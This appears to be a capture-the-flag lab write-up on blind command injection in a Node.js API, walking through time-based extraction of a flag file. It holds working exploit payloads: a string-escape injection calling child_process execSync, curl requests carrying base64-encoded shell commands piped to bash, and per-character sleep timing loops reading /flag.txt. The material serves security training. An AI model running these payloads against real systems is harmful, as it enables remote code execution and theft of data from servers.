When HTTP response injection isn't possible, use time-based or boolean-based techniques to exfiltrate data.
| Method | Description |
|---|---|
| Sleep timers | If char matches → sleep X seconds |
| Boolean output | If char matches → different response |
Note: Even completely blind, vulnerability is critical - commands still execute (DoS, ransomware, etc.)
setTimeout(() => {}, 2000); // Doesn't work as expectedNode.js processes requests asynchronously - response returns immediately even if code still processing.
Use system commands instead:
execSyncwaits for command completion- System
sleepcauses actual delay
time curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <TOKEN>" \
-d "{ \"text\": \"'}) + require('child_process').execSync('sleep 2')//\" }" \
http://localhost:5000/api/service/generateResult:
real 0m2.035s ← Matches sleep duration!
✅ Time-based exfiltration possible!
- Read first character of command output
- Compare against each ASCII character
- If match → sleep 2 seconds
- Repeat for all characters
command | head -c 1 | { read c; if [ "$c" = "a" ]; then sleep 2; fi; }# Character at position N
command | head -c N | tail -c 1 | { read c; if [ "$c" = "a" ]; then sleep 2; fi; }{
"text": "'}) + require('child_process').execSync('ls | head -c 1 | { read c; if [ \"$c\" = \"a\" ]; then sleep 2; fi; }')//"
}curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"email": "test@hackthebox.com"}' \
http://<TARGET>/api/auth/authenticate# Generate base64 payloads for position 1, characters 0-5
for i in {0..5}; do
echo -n "Character: $i "
echo -n "cat /flag.txt | head -c 1 | tail -c 1 | { read c; if [ \$c = $i ]; then sleep 2; fi; }" | base64 -w0
echo
donetime curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <TOKEN>" \
-d "{ \"text\": \"'}) + require('child_process').execSync('echo <BASE64> | base64 -d | bash')//\" }" \
http://<TARGET>/api/service/generateCharacter 0: real 0m0.170s ← No match
Character 1: real 0m0.169s ← No match
Character 2: real 0m2.173s ← MATCH! (2+ seconds)
Change head -c 1 to head -c 2, then head -c 3, etc.
# Payloads for head -c 1
for i in {0..9}; do
echo "cat /flag.txt | head -c 1 | tail -c 1 | { read c; if [ \$c = $i ]; then sleep 2; fi; }" | base64 -w0
doneResult: Character 2 causes delay
# Payloads for head -c 2
for i in {0..9}; do
echo "cat /flag.txt | head -c 2 | tail -c 1 | { read c; if [ \$c = $i ]; then sleep 2; fi; }" | base64 -w0
doneResult: Character 1 causes delay
# Payloads for head -c 3
for i in {0..9}; do
echo "cat /flag.txt | head -c 3 | tail -c 1 | { read c; if [ \$c = $i ]; then sleep 2; fi; }" | base64 -w0
doneResult: Character 4 causes delay
Flag: 214
| Factor | Impact |
|---|---|
| Internet latency | False positives/negatives |
| Server load | Variable response times |
| Short delays | More errors |
- Use longer delays (2-3 seconds) for accuracy
- Test known character first (e.g.,
HfromHTB{) - Repeat on uncertain results
Change HTTP response code or content based on match.
// If match → return 200, else → return 404
if (char === target) {
return 200;
} else {
return 404;
}- Faster (no waiting)
- More reliable
- Requires controllable response
- Not always possible
- Full ASCII charset: 95 printable characters
- Per character: 95 requests (worst case)
- 30 character output: 2850 requests
- Manual: Hours of work
Write script to automate:
- Character iteration
- Request timing
- Result collection
- execSync + sleep - Reliable time-based exfiltration
- head + tail - Extract specific character positions
- Base64 encoding - Avoid escaping issues
- Longer delays - More accuracy
- Automation essential - Manual is impractical